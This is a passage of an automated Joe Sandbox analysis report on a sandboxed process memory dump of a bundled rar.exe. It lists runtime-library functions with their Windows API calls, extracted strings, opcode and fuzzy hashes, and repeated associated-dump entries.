Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 0a327b2a7523b8e5a310518f0a830a7805d181ea89bccec3bccf2ebd6ae125d4
Instruction ID: 6f25af175b1ada1e430675a4340111184c4dffc172a13190fc7e2652262c8433
Opcode Fuzzy Hash: 0a327b2a7523b8e5a310518f0a830a7805d181ea89bccec3bccf2ebd6ae125d4
Instruction Fuzzy Hash: DB41F363A0C64152EF508B11E41037A66A1BBA5BA8F124231FE9C877E8DFBED459C706

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE795120 Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6EE795173
WideCharToMultiByte.KERNEL32 ref: 00007FF6EE795245
GetLastError.KERNEL32 ref: 00007FF6EE795268
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6EE79529A

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: e7bd9680fa6b4193e921ea7abc60155107c03bf2766982dd05110af1441b6c30
Instruction ID: 900f40c2ba265a35eeb02f7a33fd468adcd1f3b24e015dd8510758856237f13f
Opcode Fuzzy Hash: e7bd9680fa6b4193e921ea7abc60155107c03bf2766982dd05110af1441b6c30
Instruction Fuzzy Hash: 79419363A1DB9246FF618A50D040379A2A1AF60B90F174131FA4C86AD9DFBFE461C71A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE74D048 Relevance: 6.1, APIs: 4, Instructions: 77fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00007FF6EE7386CB,?,?,?,00007FF6EE73A5CB,?,?,00000000,?,?,00000040,?,?,00007FF6EE732DF9), ref: 00007FF6EE74D09D
CreateFileW.KERNEL32(?,00007FF6EE7386CB,?,?,?,00007FF6EE73A5CB,?,?,00000000,?,?,00000040,?,?,00007FF6EE732DF9), ref: 00007FF6EE74D0E5
CreateFileW.KERNEL32(?,00007FF6EE7386CB,?,?,?,00007FF6EE73A5CB,?,?,00000000,?,?,00000040,?,?,00007FF6EE732DF9), ref: 00007FF6EE74D114
CreateFileW.KERNEL32(?,00007FF6EE7386CB,?,?,?,00007FF6EE73A5CB,?,?,00000000,?,?,00000040,?,?,00007FF6EE732DF9), ref: 00007FF6EE74D15C

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3c41f03ffe9be2f80d80ab2a91f405bd887f89bc1d7d9ea25aa0d2314948d83b
Instruction ID: 0bab0daaa30507c4b56e2b0d26666070a9fecb236e2b89ccfef81a9cdab48577
Opcode Fuzzy Hash: 3c41f03ffe9be2f80d80ab2a91f405bd887f89bc1d7d9ea25aa0d2314948d83b
Instruction Fuzzy Hash: B7319232618B4542EB608F11F55476A77A0F799BA8F514325EAAC43BC8CF7DD044CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE79978C Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF6EE793CEF,?,?,00000000,00007FF6EE793CAA,?,?,00000000,00007FF6EE793FD9), ref: 00007FF6EE7997A5
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6EE793CEF,?,?,00000000,00007FF6EE793CAA,?,?,00000000,00007FF6EE793FD9), ref: 00007FF6EE799807
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6EE793CEF,?,?,00000000,00007FF6EE793CAA,?,?,00000000,00007FF6EE793FD9), ref: 00007FF6EE799841
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF6EE793CEF,?,?,00000000,00007FF6EE793CAA,?,?,00000000,00007FF6EE793FD9), ref: 00007FF6EE79986B

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 364642b671081880708a9fd88c74d382691b826692dc9b7a9f4ea86390b8b8db
Instruction ID: f709fa76138c355a0bd770d5ce9d52c0f28ceac6500c2700f8732c9e9ae6bf53
Opcode Fuzzy Hash: 364642b671081880708a9fd88c74d382691b826692dc9b7a9f4ea86390b8b8db
Instruction Fuzzy Hash: 55218832E1875181EB208F12E44022966A4FF68FD0F0A4139EE4DA7BD8DF7ED861C309

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE77B4EC Relevance: 6.0, APIs: 4, Instructions: 44threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6EE77B549
SetPriorityClass.KERNEL32 ref: 00007FF6EE77B554
GetCurrentThread.KERNEL32 ref: 00007FF6EE77B55A
SetThreadPriority.KERNEL32 ref: 00007FF6EE77B565

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: CurrentPriorityThread$ClassProcess
String ID:
API String ID: 1171435874-0
Opcode ID: bb35a308c9672c43725447ff3ecbbf89940673d79f69deb8a20185b15c97b697
Instruction ID: 9063dae6a3ffdef892b3a76d0cdaba80333977a596f46451fdc2068ec6bf0475
Opcode Fuzzy Hash: bb35a308c9672c43725447ff3ecbbf89940673d79f69deb8a20185b15c97b697
Instruction Fuzzy Hash: E5117333A2864287EF508710D48437C2652EBA4741F220434E70D876C4EFBEB865D70A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE795630 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6EE78F3FC,?,?,?,00007FF6EE79143D), ref: 00007FF6EE79563A
SetLastError.KERNEL32(?,?,?,00007FF6EE78F3FC,?,?,?,00007FF6EE79143D), ref: 00007FF6EE7956A2
SetLastError.KERNEL32(?,?,?,00007FF6EE78F3FC,?,?,?,00007FF6EE79143D), ref: 00007FF6EE7956B8
abort.LIBCMT ref: 00007FF6EE7956BE

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: d4ad33f7b583c9827c365d3e4a5a8ce69c30b5c763285f1b20db24e5820a7030
Instruction ID: aac2713fb28ffb717d9d35cdcfe15d97383debe24b5ee16d97c1d61a82065488
Opcode Fuzzy Hash: d4ad33f7b583c9827c365d3e4a5a8ce69c30b5c763285f1b20db24e5820a7030
Instruction Fuzzy Hash: C901C422F0D75202FF58A330E15533811914F68B80F030538F91E867DAEDAFE461C61A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE77B850 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6EE77BBFC: ResetEvent.KERNEL32 ref: 00007FF6EE77BC15
Part of subcall function 00007FF6EE77BBFC: ReleaseSemaphore.KERNEL32 ref: 00007FF6EE77BC2B

ReleaseSemaphore.KERNEL32 ref: 00007FF6EE77B887
CloseHandle.KERNEL32 ref: 00007FF6EE77B8A8
DeleteCriticalSection.KERNEL32 ref: 00007FF6EE77B8C0
CloseHandle.KERNEL32 ref: 00007FF6EE77B8CE

Part of subcall function 00007FF6EE77B974: WaitForSingleObject.KERNEL32 ref: 00007FF6EE77B97B
Part of subcall function 00007FF6EE77B974: GetLastError.KERNEL32 ref: 00007FF6EE77B986

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: CloseHandleReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 502429940-0
Opcode ID: 8563909dc3f60491a00452f33658f3f2e850a11d725ac5753c43192e2d1258eb
Instruction ID: eec3a417385e5acabc125f9c9630eaf3aa10365c6e14817045af7af5387c24d7
Opcode Fuzzy Hash: 8563909dc3f60491a00452f33658f3f2e850a11d725ac5753c43192e2d1258eb
Instruction Fuzzy Hash: B6118233614A41D7EB149B20E54476AA331FB967A1F000231EBAD532E5CF7AE475C749

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE7958A4 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 245COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6EE795908

Strings

gfffffff, xrefs: 00007FF6EE795B96

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: gfffffff
API String ID: 3215553584-1523873471
Opcode ID: 21452402729b0f04a42bea99b9d48ecd324c6ba459a3d9785fd7d0df1cc262de
Instruction ID: ed66f27e7e678412c60ae7ad0ada4b8097419092b0540c8d45ba6cf61f3d8b56
Opcode Fuzzy Hash: 21452402729b0f04a42bea99b9d48ecd324c6ba459a3d9785fd7d0df1cc262de
Instruction Fuzzy Hash: 9D914563B19B9646EF108F29D1803686B95EF317D0F068131EA8D87391DE7FE122C316

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE76CFCF Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6EE77B6D0: Sleep.KERNEL32(?,?,?,?,00007FF6EE74CBED,?,00000000,?,00007FF6EE777A8C), ref: 00007FF6EE77B730

new.LIBCMT ref: 00007FF6EE76CFD9

Strings

rev, xrefs: 00007FF6EE76D00F
rar, xrefs: 00007FF6EE76D074

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: Sleep
String ID: rar$rev
API String ID: 3472027048-2145959568
Opcode ID: 97d5eeffa8c4d2296c887cd490566290d1f91d5c51c78274d64fe8ea8adf1f36
Instruction ID: ef1a669e128a4ae1f9d27e1d38f33c64e4f2ce93bf13f6b97563184a6fbe63ee
Opcode Fuzzy Hash: 97d5eeffa8c4d2296c887cd490566290d1f91d5c51c78274d64fe8ea8adf1f36
Instruction Fuzzy Hash: 83A1C123A2864382EF14EB20C4543BE6365FB64788F474031EB5D876D5EFAEE564C34A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE78F7CC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6EE78F7FE
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6EE78FA3C

Strings

*, xrefs: 00007FF6EE78F90C

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *
API String ID: 3215553584-163128923
Opcode ID: 16a705be2b1e487b59333a8e93db6455a755c474a96de4fc0b7d69b7c81f417b
Instruction ID: 08715bdb157d5d602bce82c5c73f33635dc98bf2cda34356000164f8391ae6f1
Opcode Fuzzy Hash: 16a705be2b1e487b59333a8e93db6455a755c474a96de4fc0b7d69b7c81f417b
Instruction Fuzzy Hash: 9C71537390866985EF688F24C04523C37A1FB75F58F261136EA4AC2294DFBAD4A1C71F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE795CD4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6EE795D17

Strings

gfff, xrefs: 00007FF6EE795E42
e+000, xrefs: 00007FF6EE795DBF

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: a7106781bdf1546bde54527bf858c9e03adeffff05cd77f62067aea497a9d42c
Instruction ID: cbc8bb4a830eb3057b67eab3ef8b587e10b34a90a7925753e6913bdd3bb0b4bd
Opcode Fuzzy Hash: a7106781bdf1546bde54527bf858c9e03adeffff05cd77f62067aea497a9d42c
Instruction Fuzzy Hash: DF514B63B28BD246EB258B35D8403697B91EB60B90F0A8231E69CCBBC5DF6FD050C715

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE764534 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(?,?,?,00000800,?,?,00000000,00007FF6EE75475B,?,00000000,?,?,00007FF6EE754620,?,00000000,?), ref: 00007FF6EE764633

Strings

UNC, xrefs: 00007FF6EE764614
\\?\, xrefs: 00007FF6EE7645B6, 00007FF6EE764602, 00007FF6EE764684, 00007FF6EE7646D3

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: CurrentDirectory
String ID: UNC$\\?\
API String ID: 1611563598-253988292
Opcode ID: da028c110e4e0ee969c3eaba738cc076e51dd9ec006f0672d54c2a85376dd233
Instruction ID: 86cee7fe517054ae39642589992c0dfef6b03da36240141a314a6c6710879f98
Opcode Fuzzy Hash: da028c110e4e0ee969c3eaba738cc076e51dd9ec006f0672d54c2a85376dd233
Instruction Fuzzy Hash: D141CC03A1868340EF606751D4013B963A1BF657C8F438131FD9DC76DAFEADE5A4D60A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE793B0C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6EE793B36
GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FF6EE78B066), ref: 00007FF6EE793B57

Strings

C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe, xrefs: 00007FF6EE793B45

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe
API String ID: 3307058713-4140927169
Opcode ID: c5c98bd9bcb7567b946254e1cd77aa550a51c4497f1b66c7ef7d78e94eebfc81
Instruction ID: 6420e24dc9fabf44c4295cdcce30b22f410fd9e9d1b500086217787666b39ee8
